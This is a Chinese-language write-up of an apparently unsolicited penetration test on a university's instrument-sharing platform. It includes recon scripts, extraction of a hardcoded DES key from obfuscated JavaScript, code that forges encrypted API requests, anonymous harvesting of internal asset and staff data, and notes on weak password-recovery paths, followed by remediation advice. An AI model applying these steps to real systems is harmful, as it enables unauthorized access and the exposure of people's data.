对学校网站进行一次渗透并发掘了一些漏洞
首先对已经脱敏的数据进行讲解
- 目标域名:
atcrs.example.edu.cn(占位域名,原著为某高校实际域名) - 目标 IP:
203.0.113.39(RFC 5737 保留的文档示例网段) - 单位名称:
XX大学/XX大学分析测试中心 - 统一认证地址:
authserver.example.edu.cn - 硬编码 DES 密钥:
3111****(8 位数字,仅保留前 4 位) - 管理员联系电话:
020-****2392、189****4658、136****8864 - 后台操作人账号:
adm*** - 固定资产编号:保留前 6 位,后 2 位打码,例如
217502** - 仪器台账共 63 条,正文只节选代表性条目,完整清单不公开
所有过程不放图片是真的懒得打码。
结论
这套系统在完全无凭据(无 Cookie、无 Token) 的状态下,呈现出四类问题:
- 未授权调用:
POST /WebService/wxPublicInterface.asmx/IoControl可被匿名调用,返回业务 JSON - 堆栈泄露:缺少必需参数
DESJson时返回 HTTP 500,并附带完整 .NET 调用链 - 接口地图外泄:全部前端 JS 匿名可读,内含 60+ 后端方法名、类名与入参格式,手工枚举后 59 个方法名中有 21 个匿名可达并返回真实数据
- 后台模板匿名可读:密码找回页、他人税号登记页、用户中心模板页全部 200
核心危害是未授权接口暴露 + 内部信息泄露。设备控制类接口虽然暴露,但最终验证表明它是一个调度网关而非真实控制入口,没有实际执行任何设备操作。
渗透过程
侦察起点:这个站点是什么
三个同域主机并行探活,只看响应头和标题:
for h in apply.example.edu.cn atcrs.example.edu.cn glxygzh.example.edu.cn; do curl -sk -m 15 -D - -o /dev/null "https://$h/" curl -sk -m 15 "https://$h/" | grep -oE '<title>[^<]*'done命中特征:
Server: Microsoft-IIS/10.0- 存在
X-AspNet-Version、ASP.NET_SessionId - 标题指向「大型仪器共享 / 实验室设备预约收费平台」
Tips — 看到 IIS + ASP.NET 意味着什么
.asmx文件是 WebService 的入口。它不是网页,而是一个「方法路由器」:POST /xxx.asmx/方法名就能直接调后端的一个函数,参数用 JSON 传。这种设计天然缺少统一鉴权层,鉴权往往散落在每个方法内部。ASP.NET_SessionId是会话 Cookie。服务端用它把「这次请求」和「服务端内存里的一个会话对象」绑起来。只要 Cookie 不变,服务端就认为你是同一个人。- 详细错误默认可能开着。ASP.NET 的
<customErrors mode="Off">一旦生效,任何异常都会把 .NET 的堆栈原样吐给客户端,包括类名、方法名、参数名。
目录探测:没有扫描器就自己写
直接写了个按状态码 + 长度筛选的小脚本,stdlib 零依赖:
import urllib.request, ssl
ctx = ssl.create_default_context()ctx.check_hostname = Falsectx.verify_mode = ssl.CERT_NONE
for p in ["/customer/index/index.html", "/customer/index/index2.html", "/en/student/login", "/index.aspx", "/default.aspx", "/webinterface.aspx", "/caslogin.aspx"]: try: r = urllib.request.urlopen( urllib.request.Request("https://atcrs.example.edu.cn" + p), timeout=12, context=ctx) b = r.read() print(f"{p:38s} {r.status} {len(b)}") except Exception as e: print(p, getattr(e, "code", e))产出:
/customer/index/index.html 200 51489 <-- 首页(单页应用)/en/student/login 200 16981于是把基点锁定在 /customer/index/index2.html。
Tips — 一般目录扫描会用什么工具 见下一篇或者下下片文章吧。
扒前端js代码
打开首页,把页面引用的脚本全扒下来:
curl -sk "https://atcrs.example.edu.cn/customer/index/index2.html" -o js/index2.htmlgrep -oE 'src="[^"]+\.js[^"]*"' js/index2.html | sed 's/src="//;s/"//'
mkdir -p js && for f in base plug login menu index global WXS; do curl -sk "https://atcrs.example.edu.cn/Customer/js/$f.js" -o js/Customer_$f.jsdone拿到的东西全部无需登录即可下载:
Customer_global.js(98 KB)Customer_index.js(193 KB)Customer_WXS.js(94 KB)Customer_login.js、Customer_menu.js…
Tips — 前端页面js的用处
服务端渲染的站点,前端只拿到拼好的 HTML,接口藏在表单 action 里,能看到的很有限。
但单页应用把「怎么调后端」这件事整个搬到了浏览器里:方法名、类名、参数结构、甚至加密密钥,全在 JS 里。浏览器能读,攻击者就能读——这不算漏洞,但它把「猜接口」变成了「搜文本」。
所以对 SPA 的第一反应不该是爆破目录,而是 grep 前端资源。
抠出接口
grep -oE 'asmx/ashx/aspx' js/index2.htmlgrep -oE 'url:\s*"[^"]*"' js/Customer_index.js | head命中两条关键路径:
url: "../../WebService/WebService.asmx/GetColumnLastTime"url: "../../WebService/wxPublicInterface.asmx/IoControl"wxPublicInterface.asmx/IoControl 是统一调度入口——所有业务请求最终都从这里下发。
抠出硬编码密钥
grep -oiE 'deskey[^;]{0,120}' js/Customer_global.js# -> deskey=_0x5e7d4d(-0x6f,-0x135,-0x2c,0x8,0x5c)值被字符串混淆函数 _0x5e7d4d(...) 包着。这里的思路不是人工反混淆,而是让这段代码自己跑一遍——用 Node 的 vm 造一个假沙箱,把依赖(CryptoJS、jQuery、localStorage)都替换成空壳,跑完直接读全局变量:
node -e "const vm=require('vm');const code=require('fs').readFileSync('js/Customer_global.js','utf8');const sb={ CryptoJS:{enc:{Latin1:{parse:()=>({})},Utf8:{parse:()=>({})}}, DES:{encrypt:()=>({}),decrypt:()=>({})},mode:{CBC:1},pad:{Pkcs7:1}}, jQuery:{fn:{},extend(){},ajax(){}}, localStorage:{getItem:()=>null}, document:{getElementById:()=>({})}, window:{},console};vm.createContext(sb);vm.runInContext(code,sb,{timeout:5000});console.log('deskey=',sb.deskey);"输出:
deskey= 3111****Tips — vm 沙箱去混淆为什么好用
混淆器(obfuscator.io 这类)做的事,是把常量拆成一堆数字,再用一个解密函数在运行时拼回来。它必须在运行时才能解密,因为浏览器要拿到真值。
那就干脆给它一个「假浏览器」:vm.createContext() 建一个干净的全局对象,代码在里面执行,require、document、CryptoJS 全部由我们自己伪造。它跑完,全局变量 deskey 上就是明文。
比逐行手推 _0x5e7d4d(-0x6f,-0x135,...) 快一百倍,也是逆向混淆 JS 的通用手法。
加密信封:客户端加密为什么等于没加密
前端这套逻辑想做的事是:「请求参数被 DES 加密了,所以中间人看不到、也改不了」。
加密方案:
- 算法:DES-CBC
- 密钥:
3111****(8 字节) - IV:与密钥相同
- 填充:PKCS7
- 编码:Base64
实际请求里的四个关键位置:
wxAuthorization(请求头):enc({"f":<方法名>,"c":<类名>}),决定后端分发到哪个类哪个方法DESJson(请求体):enc(<业务入参 JSON>)Authorization(请求头):一个固定常量(W****Key****,含厂商拼音,已打码)——看着像鉴权,实际只是客户端标识,改不改都一样uitoken(请求头):由GetUIToken下发的令牌
等价实现(需要 pycryptodome):
from Crypto.Cipher import DESfrom Crypto.Util.Padding import pad, unpadimport base64, json
K = b"3111****" # 已脱敏,实际为 8 位数字密钥
def enc(d): # 加密信封 raw = d if isinstance(d, str) else json.dumps(d) return base64.b64encode( DES.new(K, DES.MODE_CBC, K).encrypt(pad(raw.encode(), 8)) ).decode()
def dec(s): # 解密回包 return unpad(DES.new(K, DES.MODE_CBC, K).decrypt(base64.b64decode(s)), 8).decode()Tips — 为什么加密没有用 对称加密有一个铁律:密钥出现在哪一端,那一端就不设防。 这里的密钥写死在前端 JS 里,而 JS 是要发给浏览器的。于是:
- 攻击者读 JS → 拿到密钥 → 能解所有抓到的包(机密性归零)
- 攻击者拿到密钥 → 能造任意合法信封(完整性归零)
- IV 直接用密钥,等于把「随机性」也送掉了,相同明文永远得到相同密文,可以肉眼对比重放 客户端加密真正能防的只有「顺手看流量的路人」,防不住任何有浏览器的人。真正的防线只能是服务端鉴权,而不是「参数看起来是乱码」。
第一次撞墙:为什么我构造的请求全是 404
拿着密钥手工构造 wxAuthorization,调业务方法,结果一律 404。
当时做了三步排除:
- 解码浏览器抓包(
ws_pairs.json,15 组请求/响应原文)里的wxAuthorization,确认自己的编码结果与浏览器逐字节一致 → 排除编码错误 - 整包重放浏览器原始请求(连 header 一起照搬)→ 仍然 404
- 但单独调
GetUIToken→ 200,并下发UITokenCookie +ASP.NET_SessionId
第三步是转折点:同样的加密、同样的头,为什么只有 GetUIToken 能过?
结论是 IoControl 是两段式调用:
- 第一步:匿名调
GetUIToken(类PublicInterface),换取 uitoken。服务器把它绑定到当前会话的ASP.NET_SessionId - 第二步:带着同一个会话 Cookie +
uitoken请求头,业务类方法才放行
验证脚本 session_call.py,运行输出:
warm cookies: []GetUIToken: 200 ...token[200] GetWebsiteVisits -> {"code":0,"FWCS":460083}[200] GetNewsList -> {"code":"0","LASTTIME":"1670247663","LMBH":"39","data":[...]}[200] GetUIIndexConfig -> {...}checklogin -> {"ReturnFlag":"0","ReturnMsg":"当前登陆状态失效,请重新登陆!"}这几行输出信息量很大,逐条拆:
warm cookies: [] + GetUIToken: 200
预热页面未下发任何 Cookie,说明调用时完全匿名、零凭据;服务器却签发了合法 token。本该「登录后才发」的令牌,匿名就能拿到——这是整条链的入场券。
GetWebsiteVisits -> {"code":0,"FWCS":460083}
多次调用时 FWCS(站点访问量)持续递增(459937 → 460080 → 460083),说明拿到的是真实业务回包,不是静态页或缓存。
GetNewsList 里的 LASTTIME / pzlasttime
这是增量同步的时间戳字段。攻击者带着上次的时间戳反复调用,就能持续增量拉取,泄露面随时间扩大,不是一次性快照。
GetUIIndexConfig 的字段
这是信息密度最高的一项:
SchoolName:站点归属,确认目标身份xncs1 = CAS:认证方式为统一身份认证logoutURL:泄露统一认证服务器地址xnLogin/weixinlogin/LocalLogin均为1:校内 / 微信 / 本地登录全部开启SMSPWDConfig=1/SMSVerificationConfig=0:短信改密开启、短信验证关闭logoImg:泄露内部上传目录/UpLoadFile/NewsFile/Ver=13、UIURL:系统版本与站点根地址WZDB:URL 编码的页脚,解码后是开发商信息
checklogin 的返回值才是重点
它返回的不是 401/403,而是格式良好的业务 JSON:「当前登陆状态失效,请重新登陆!」。
Tips — 为什么「业务 JSON 里的未登录」比 401 危险 HTTP 401 / 403 的意思是:在门口就被拦住了,请求根本没进业务代码。 而这里的响应说明:请求已经穿过网关、穿过分发、进了业务方法,只是在业务逻辑内部发现「你没登录」,然后自己写了个 JSON 告诉你。 差别在于:
- 门口拦截 → 攻击面止于入口
- 进来才拦 → 每个方法的代码都跑了一部分,只要某个方法忘了判断登录态,就是未授权访问
手工复核:三个独立证据
未授权调用 IoControl
curl -sk -i -X POST \ -H "Content-Type: application/json" \ --data '{"DESJson":"x"}' \ "https://atcrs.example.edu.cn/WebService/wxPublicInterface.asmx/IoControl"返回 HTTP/1.1 200 OK、Server: Microsoft-IIS/10.0、响应体:
{"d":"{\"code\":\"1\",\"msg\":\"error\"}"}匿名请求被受理并进入了业务方法(否则会是 404)。
触发 .NET 堆栈泄露
把参数名故意写错:
curl -sk -i -X POST \ -H "Content-Type: application/json" \ --data '{"json":"x"}' \ "https://atcrs.example.edu.cn/WebService/wxPublicInterface.asmx/IoControl"返回 HTTP/1.1 500,响应体:
Web 服务调用无效,参数“DESJson”缺少值。 在 System.Web.Script.Services.WebServiceMethodData.CallMethod(Object target, IDictionary`2 parameters) 在 System.Web.Script.Services.WebServiceMethodData.CallMethodFromRawParams(Object target, IDictionary`2 parameters) 在 System.Web.Script.Services.RestHandler.InvokeMethod(HttpContext context, WebServiceMethodData methodData, IDictionary`2 rawParams) 在 System.Web.Script.Services.RestHandler.ExecuteWebServiceCall(HttpContext context, WebServiceMethodData methodData)参数差异对照(同一接口):
{'DESJson': 'x'} 200 {"d":"{\"code\":\"1\",\"msg\":\"error\"}"}{'DESJson': ''} 200 {"d":"{\"code\":\"1\",\"msg\":\"error\"}"}{'json': 'x'} 500 参数“DESJson”缺少值 + StackTrace{'DeviceId': '1'} 500 参数“DESJson”缺少值 + StackTraceTips — 一次 500 能白送什么 上面这四段堆栈至少给了三样东西:
- 参数名
DESJson:入参信封叫什么,直接决定了后面能不能构造合法请求 - 框架实现
System.Web.Script.Services:确认是 ASP.NET 的 JSON-RPC 风格分发,而不是 SOAP,所以要用application/json而不是 XML - 完整调用链:
RestHandler.ExecuteWebServiceCall → InvokeMethod → CallMethodFromRawParams → CallMethod,能反推服务端处理顺序 这也是信息泄露类漏洞最省力的取证方式:不用猜,故意发个错包就行。
后台模板页匿名可读
/model/ 目录列举被拒(403,标准 IIS 页),但目录下的具体文件可读:
for pg in passback otherusereg changepwd; do curl -sk -o /dev/null -w "%{http_code} %{size_download} $pg\n" \ "https://atcrs.example.edu.cn/model/TwoGradePage/$pg.html"done
curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ "https://atcrs.example.edu.cn/Customer/MasterPage/UserCenterPage.html"产出:
model/TwoGradePage/passback.html 200 <-- 密码找回model/TwoGradePage/otherusereg.html 200 <-- 他人税号登记Customer/MasterPage/UserCenterPage.html 200 <-- 用户中心后台模板从 passback.html 又顺藤摸到 /model/TwoGradePage/js/PassBack.js,这是找回链全部方法名与入参的出处。
Tips — 目录 403 ≠ 文件 403
IIS 的「目录浏览」是单独一个开关,关掉之后访问 /model/ 会返回 403,但这并不代表目录里的文件不可访问。
权限是在文件层面判的,目录只是少了个「列表页」。所以看到目录 403 就放弃,很容易漏掉真正的暴露面——正确做法是逐个具体文件名去试。
把接口地图摊开:59 个方法,21 个匿名可达
从前端 JS 提取方法名后,逐类(PublicInterface / IndexInterface / UserCenter)匿名尝试。判定标准是 HTTP 200 且回包可解密为业务 JSON。
结果:59 个方法名中 21 个匿名可达并返回 200(enum_methods.py → method_enum.json)。
可达方法(节选):
[200] GetUIIndexConfig PublicInterface DATA[200] checklogin PublicInterface DATA[200] GetColumnList_UI PublicInterface DATA[200] GetIndexDevBm PublicInterface DATA[200] GetJKInfo IndexInterface DATA[200] GetWebsiteVisits IndexInterface DATA[200] GetNewsList IndexInterface DATA[200] GetZDDevlist IndexInterface DATA[200] GetDevlistByJZ IndexInterface DATA[200] GetLinksList IndexInterface DATA[200] GetKb / GetKCInfo / GetZDLablist / GetDevCategory / GetDevData / GetDevGZRQ / GetDevYuYueRank / GetMonthDevData / GetWebSite / GetHtJKInfo ...不可达(未注册或已移除):
[404] GetDevsOrderList / getUserInfo / GetKouFenList_UI / GetTeacherList / GetProList ...再给可达方法配真实入参(入参格式同样从 JS 里抠,例如 {"MKID":"banner","lasttime":0,"pzlasttime":0,"lang":"cn"}),逐个取回真实数据(verify_consequences.py → consequences.json):
GetUIIndexConfig(1079 B):认证与站点配置,含登录开关、SMS 配置、logo 路径、站点根地址GetColumnList_UI(15206 B):整站栏目树,含栏目 ID / 名称 / 链接 / 子栏目GetIndexDevBm(4249 B):校级组织架构,含部门 ID 与名称GetJKInfo(339 B):后台模块清单(仪器预约yqyy、通知公告tzgg、仪器培训…)GetDevlistByJZ(3912 B):实验室 → 仪器台账,含仪器名 + 固定资产编号GetZDDevlist(1565 B):重点仪器详情,含管理员联系方式GetLinksList(300 B):友情链接,并泄露后台操作人账号GetNewsList(1323 B):新闻公告条目,含标题、时间、ID、附件字段GetDevData(665 B):平台运营统计(设备总数、金额、使用/开放数)GetDevCategory(5608 B):设备分类目录GetDevYuYueRank(6653 B):仪器预约排行(仪器名/编号/金额/次数/学院)GetMonthDevData(229 B)、GetDevGZRQ(519 B):月度与年度统计GetWebsiteVisits(24 B):站点访问量checklogin(74 B):登录态探测GetKb/GetKCInfo/GetZDLablist/GetDevCATEGORYbypid/GetWebSite:可进入服务端分发,但因后端未就绪返回code:0/-1或异常
这些数据能干什么
后台账号明文
GetLinksList 的匿名回包里带操作人字段:
{"ID":"1","YQLJBT":"XX大学官方网站","YQLJURL":"https://www.example.edu.cn/", "TJR":"adm***","CZR":"adm***", ...}后台账号为 adm***。但继续往下走会发现:找回密码的验证码是发到手机上的,所以「拿到账号名」本身不足以接管账号,链路到此为止。这一点值得单独记一笔——很多漏洞报告在这一步就写成「可接管后台」,实际是过度声明,我在补天交的漏洞就是这样不过审的。
找回链的全部后端方法
passback.html 里可见 4 种找回方式,全部只靠 4 位图形验证码保护:
<!-- 方式1:账号 + 手机验证码 --><input id="account4" name="Account4" /> <input id="phonecode" name="phonecode" /><input id="phonepassword1" name="phonepassword1" /> <input id="code1" name="code1" maxlength="4" />
<!-- 方式2:账号 + 邮箱 --><input id="account1" name="Account1" /> <input id="email" name="Email" /><input id="captcha_0" name="Code" maxlength="4" />
<!-- 方式3:账号 + 密保问题 --><input id="account2" name="Account2" /> <input id="question" name="Question" /><input id="answer" name="Answer" /> <input id="captcha_1" name="Code" maxlength="4" />
<!-- 方式4:直接改密 --><input id="account3" name="Account3" /> <input id="password1" name="Password1" /><input id="password2" name="Password2" /> <input id="captcha_2" name="Code" maxlength="4" />配合 PassBack.js,可以还原出找回链的完整前端函数 → 后端方法映射:
SendPassBackCodeMsg(ZH)→TwoGradePage.SendPassBackCodeMsg:发送手机验证码ChangePSWForPhoneCode(ZH, passwd, phonecode, code)→TwoGradePage.ChangePSWForPhoneCode:凭手机验证码改密PassBackByEmail(strJson)→TwoGradePage.PassBackByEmail:邮箱找回ResetPassword(strJson)→TwoGradePage.ResetPassword:直接重置密码CheckGuid(guid)→TwoGradePage.CheckGuid:找回链接校验verify_code(code)→PublicInterface.CheckCode:图形验证码校验IsUnifiedIdentity()→PublicInterface.GetSystemParam:读系统参数
前端的 maxlength="4" 已经说明了验证码强度:4 位数字 = 1 万种组合。如果 CheckCode 没有频率限制、也不按会话绑定尝试次数,那么「直接改密」这条路径理论上存在绕过空间;再叠加 SMSVerificationConfig=0(短信验证关闭),攻击面更宽。
Tips — 为什么「可能可以」不能写成「可以」 渗透测试报告里最容易翻车的地方,就是把「接口存在」写成「漏洞可利用」。两者的距离可能是:
- 验证码有没有服务端校验(可能前端校验、后端也校验)
- 有没有频率限制(可能有,但没测出来)
- 有没有账号与验证要素的绑定校验
- 验证码是不是一次性 上面每一条都要实测。没有实测就写「可爆破」,属于过度声明,会直接降低报告可信度。所以这里只记录「接口面」和「防护薄弱点」,把可利用性交给实际验证。
资产测绘
把三个接口的返回聚合起来,能得到一份相当完整的内部资产视图:
- 实验室:12 个(名称 + 编号)
- 仪器台账:63 台(名称 + 固定资产编号)
- 设备分类:50 类(分类名 + 设备数)
- 管理员电话:5 条(真实手机/固话 + 对应仪器)
- 预约排行:5 条(仪器名/编号/金额/次数/学院)
GetDevlistByJZ 的实测样例(节选,编号已打码):
微区分析室(10103):自动镀金镀碳联用仪 190147** / 全新精研一体机 217502** 电解双喷仪 217502** / 离子溅射镀膜仪 217502** 聚焦离子束场发射扫描电子显微镜 217502** 场发射透射电子显微镜 217502**物性分析室1(10104):动态热机械分析仪 217503** / 薄膜测厚仪 217503** 激光共聚焦显微镜 217503** / 激光粒度分析仪 217503**表面分析室(10106):X射线光电子能谱 217504** / X射线衍射仪 171341** 单晶X射线衍射仪 217504** / 高通量X射线衍射仪 202400**质谱分析室(10108):超高效液相色谱仪 217505** / 电感耦合等离子体质谱 217505** 气相色谱串联质谱联用仪 217505** / 高分辨磁式气质联用仪 217505**光谱分析室(10109):傅立叶变换红外光谱仪 217506** / 显微共焦拉曼光谱仪 217506** 紫外可见近红外分光光度计 217506** / 圆二色光谱仪 217506**磁共振分析室(10102):电子顺磁共振波谱仪(EPR) 217501** 全数字超导核磁共振谱仪(NMR)600 MHz 217501**GetZDDevlist 的实测样例(电话已打码):
('020-****2392', 'MALDI-TOF质谱成像仪')('189****4658', '激光闪解瞬态吸收光谱仪')('136****8864', '气相色谱串联质谱联用仪')('020-****2392', '高分辨率激光共聚焦显微镜')GetDevCategory 的分类目录(共 50 类,节选):
10012 元素定性分析 14 10013 元素(半)定量分析 1510014 有机分析 22 10015 无机分析 2110017 组织形貌分析 8 10018 晶体物相分析 410019 成分价键分析 7 10020 分子结构分析 1210022 热性能分析 8 10026 光学性能分析 410028 形貌分析 10 10033 表面宏/微观结构分析 610048 微生物 11 10049 细胞 1310057 样品前处理 25 10011 成分分析 34利用价值在哪:
- 固定资产编号 + 实验室布局 + 设备型号 → 可支撑内部资产测绘与设备侧攻击面定位
- 管理员联系方式 → 可支撑社工(这也是我脱敏的原因)
- 设备型号本身 → 可反查固件/管理后台的已知漏洞
对防守方来说,这提醒一件事:资产台账类接口,即使「只读」,也属于敏感数据。它不写数据,但它把「你有哪些东西、放在哪、谁负责」全部告诉了你。
认知纠错:IoControl 不是设备控制入口
旧结论:IoControl 是设备 I/O 控制类接口,未授权可调用,因此存在「未授权控制设备」的高危风险。
新证据:用前端泄露的密钥自行实现 JsonJiaMi,发送完全合法的 DESJson 并做因果隔离测试,结果如下:
- 不带
wxAuthorization分发头时,无论DESJson内容如何,恒定返回HTTP 200 {"d":"{\"code\":\"1\",\"msg\":\"error\"}"}—— 说明DESJson根本没被业务层解析 - 带
wxAuthorization=enc({f,c})时,服务端会解密并转发,但目标处理程序未部署:对每个类/方法一律返回 IIS 静态 404(5 个类名遍历全 404,所有*.asmx亦 404) - 只有
wxAuthorization头生效,X-Foo/Authorization被忽略 —— 二次确认头名与另一份记录(#704)一致
修正后的结论:IoControl 是一个通用 API 网关/调度器,不是设备 I/O 实体。它本身确实可匿名访问,也确实泄露了堆栈,但没有任何设备操作被执行,也没有返回任何业务数据,破坏性控制不可达。站点在测试期间始终可达(非封禁状态)。
Tips — 为什么定级要跟着证据走
定级不是看接口名字有多吓人,而是看实际能造成什么后果。
IoControl 这个名字听起来能「控制设备」,但如果它只是个转发器、后端处理程序根本没部署,那么它的真实危害就只有两条:暴露了一个入口、泄露了堆栈。
一条好用的自检:「我实际拿到了什么?」 拿到别的用户数据了吗?拿到可执行的操作了吗?如果两个都是「没有」,那就别往高危写。
侦察路径总览
① 存活/指纹 (curl -D) └─ IIS10 + ASP.NET,确认是仪器共享平台② 路径爆破 (自写 python) └─ 找到 /customer/index/index2.html (SPA 入口)③ 抽 JS (页面 src + Customer/js/*) └─ global.js / index.js / WXS.js 匿名可读 ← 攻击面核心④ 抠接口 + 密钥 ├─ grep url:"..." -> wxPublicInterface.asmx/IoControl (统一调度) └─ node vm 沙箱去混淆 -> deskey = 3111****⑤ asmx oracle (POST *.asmx/x) └─ IoControl 未授权可调用 (200 业务 JSON)⑥ 故意错包 -> 拿到 DESJson 参数名 + System.Web.Script.Services 堆栈⑦ 后台模板探测 └─ passback.html / otherusereg.html / UserCenterPage.html 匿名可读 └─ 顺藤: PassBack.js -> 找回链全部方法⑧ 两段式鉴权 -> GetUIToken + SessionId cookie └─ 21 个方法匿名可达,配真实入参取回业务数据⑨ 因果隔离测试 -> 修正 IoControl 的定级Tips — 什么是「asmx oracle」
oracle(预言机)在这里指:用一个固定请求,从响应的差异里反推服务端的内部状态。
对 ASP.NET 的 .asmx:POST /服务.asmx/方法名
- 服务不存在 → 404
- 服务存在、方法不存在 → 500 + 「未知 Web 方法」
- 服务存在、方法存在 → 200 或 500 + 「参数缺少值」
三种响应的差异就是判定依据。好处是不需要字典:方法名本来就在前端 JS 里,这里只需要判断「哪些还活着」。
同理,参数探测也是 oracle:
{"DESJson":"x"}返回业务 JSON、{"json":"x"}返回「参数 DESJson 缺少值」,两相对比就把参数名确定了。
根因分析
- WebService 层缺少统一鉴权:
wxPublicInterface.asmx定位是「微信公开接口」,但把设备控制类方法一并暴露,未在方法级校验调用者身份。鉴权发生在业务逻辑内部(checklogin才判断登录态),而不是在调度入口拦截,属 CWE-306 - 未关闭 ASP.NET 详细错误:
<customErrors mode="Off">或等价配置,使异常堆栈随 500 响应返回,属 CWE-209 - 静态/模板资源未做访问控制:
/model/TwoGradePage/、/Customer/MasterPage/、/Customer/js/直接可读;前端 JS 里还硬编码了后端方法清单与加密密钥,进一步扩大信息面 - 口令找回流程防护薄弱:4 种找回方式仅靠 4 位图形验证码,缺少频率限制与多因子校验
- 客户端加密代替服务端鉴权:密钥硬编码在前端,机密性与完整性都无法保证,属 CWE-321 / CWE-798
修复建议
- 接口鉴权最小化:把
IoControl这类设备控制/敏感方法从匿名公开接口移出,纳入统一认证与授权(登录态 / 签名校验 / 服务端 Token),并在服务端做方法级权限判定;确需小程序匿名访问的,只保留读取型、无副作用的方法 - 关闭详细错误回显:Web.config 设
<customErrors mode="On" redirectMode="ResponseRewrite" defaultRedirect="~/error.aspx"/>,IIS 层对 500 使用自定义错误页,禁止StackTrace外泄;生产环境<compilation debug="false"/> - 收敛匿名资源:对
/model/、/Customer/MasterPage/等后台模板与用户中心页面按角色做访问控制,检查 IIS 隐藏段与<location>授权规则 - 前端资产去敏感化:移除前端 JS 中硬编码的密钥与加密逻辑说明,接口清单统一由网关管控;不要用「前端加密」代替服务端鉴权
- 加固找回流程:所有找回方式增加频率限制、提升验证码强度、强制账号与验证要素绑定;「直接改密」路径强制二次验证(短信/邮箱/密保 + 图形码)
- 全量接口巡检:对
/WebService/*.asmx全部方法做匿名可达性盘点,关闭或鉴权所有不应公开的方法;结合 WAF 与日志对异常调用告警
总结
这次使用的是deepseek + ARTEX ,确实ai挖洞效率很高,但是出错率也很高,还是需要人工验证,以后网安需要的人才应该是要会深层的东西,前期的探测可以给ai做,并且还需要人来写ai前期探测的链路以及新的工具。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!